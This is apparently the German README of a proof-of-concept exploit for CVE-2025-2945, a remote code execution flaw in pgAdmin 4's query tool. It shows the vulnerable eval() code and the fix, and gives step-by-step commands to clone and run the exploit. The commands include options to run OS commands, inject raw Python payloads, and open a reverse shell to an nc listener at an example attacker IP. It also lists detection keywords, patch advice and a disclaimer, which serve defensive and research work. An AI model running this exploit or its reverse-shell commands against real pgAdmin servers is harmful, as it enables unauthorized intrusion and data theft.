
PoC für CVE-2025-2945 — pgAdmin 4 authentifizierte eval()-Injection RCE, CVSS 9.9
CVSS 3.1: 9.9 (Kritisch) · Betrifft: pgAdmin 4 8.10 – 9.1 · Behoben in: 9.2 (4. April 2025) CWE-95 (Unzureichende Neutralisierung von Direktiven in dynamisch ausgewertetem Code / Eval-Injection)
Ein Proof-of-Concept-Exploit für CVE-2025-2945, eine authentifizierte Remote-Codeausführungs-
Schwachstelle im Query-Tool von pgAdmin 4. Ein boolesches Transaktionsstatus-Flag
(query_commited) wird direkt an Pythons eval() übergeben, anstatt als
Boolescher Wert geparst zu werden, wodurch ein authentifizierter Benutzer beliebigen Python-Code
— und damit auch beliebige Betriebssystembefehle — unter den Rechten des
pgAdmin-Dienstprozesses ausführen kann. Dasselbe Anti-Pattern tritt ein zweites Mal im
Google-Provider des Cloud-Deployment-Moduls auf (high_availability).
Eine vollständige technische Dokumentation zu Ursache, Exploit-Logik, Erkennungs- hinweisen und Abhilfe finden Sie hier: khashayarnazarkardeh.com — Field Notes
Verwundbarer Code (web/pgadmin/tools/sqleditor/__init__.py):
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
Behobener Code (pgAdmin 9.2+):
query_commited = (
value.lower() in ('true', '1') if isinstance(value, str) else value
)
Die Schwachstelle erfordert eine authentifizierte pgAdmin-Sitzung und eine Query-Tool- Transaktion, die an einen Datenbankserver gebunden ist, der bereits im Zielkonto registriert ist. Beides sind häufige Voraussetzungen in realen Bereitstellungen, in denen pgAdmin typischerweise mit einer oder mehreren gespeicherten Serververbindungen vorkonfiguriert ist.
--username / --password)--db-user / --db-password / --db-name)git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
python3 CVE-2025-2945.py \
--host <ziel> --port 80 \
--username <pgadmin-e-mail> --password <pgadmin-passwort> \
--db-user <db-benutzer> --db-password <db-passwort> --db-name <db-name> \
--cmd id
| Flag | Beschreibung |
|---|---|
--cmd BEFEHL | Führt einen einzelnen Betriebssystembefehl über os.system() aus |
--reverse-shell HOST:PORT | Startet eine Named-Pipe-Reverse-Shell zu einem von Ihnen kontrollierten Listener |
--raw-payload AUSDRUCK | Übergibt einen rohen Python-Ausdruck direkt an die verwundbare eval()-Senke |
# Auf Ihrem Angriffshost, in einem separaten Terminal:
nc -lvnp 4444
# Exploit ausführen:
python3 CVE-2025-2945.py \
--host pgadmin.internal.example.com --port 80 \
--username [email protected] --password 'correct-horse-battery-staple' \
--db-user postgres --db-password postgres --db-name postgres \
--reverse-shell 10.10.14.5:4444
python3 CVE-2025-2945.py --help
Verteidiger sollten auf Folgendes achten:
/sqleditor/query_tool/download/<trans_id> oder
/cloud/deploy, bei denen query_commited / high_availability etwas anderes
als ein wörtliches "true", "false", "1" oder "0" ist.__import__, os.system, subprocess,
eval, exec, open(), die in einem der beiden Parameter auftauchen.Upgrade auf pgAdmin 4 9.2 oder neuer. Der Patch ist eine minimale, risikoarme Boolesche-Koerzion-Korrektur. Wenn ein sofortiges Patchen nicht möglich ist, beschränken Sie den Netzwerkzugriff auf pgAdmin auf vertrauenswürdige, authentifizierte Netzwerke und deaktivieren Sie das Cloud-Deployment-Modul für Konten, die es nicht benötigen.
Khashayar Nazarkardeh — Cybersecurity- & KI-Sicherheitsleiter khashayarnazarkardeh.com · @Khashayarnzk
Dieses Tool dient ausschließlich autorisierten Sicherheitstests, Forschung und Bildungszwecken. Die Ausführung gegen ein System ohne ausdrückliche, dokumentierte Genehmigung des Systemeigentümers ist in den meisten Rechtsordnungen illegal. Der Autor übernimmt keine Haftung für Missbrauch dieser Software. Durch die Verwendung dieses Skripts erklären Sie sich damit einverstanden, dass Sie allein dafür verantwortlich sind, sicherzustellen, dass Sie die Berechtigung zum Testen des Zielsystems haben.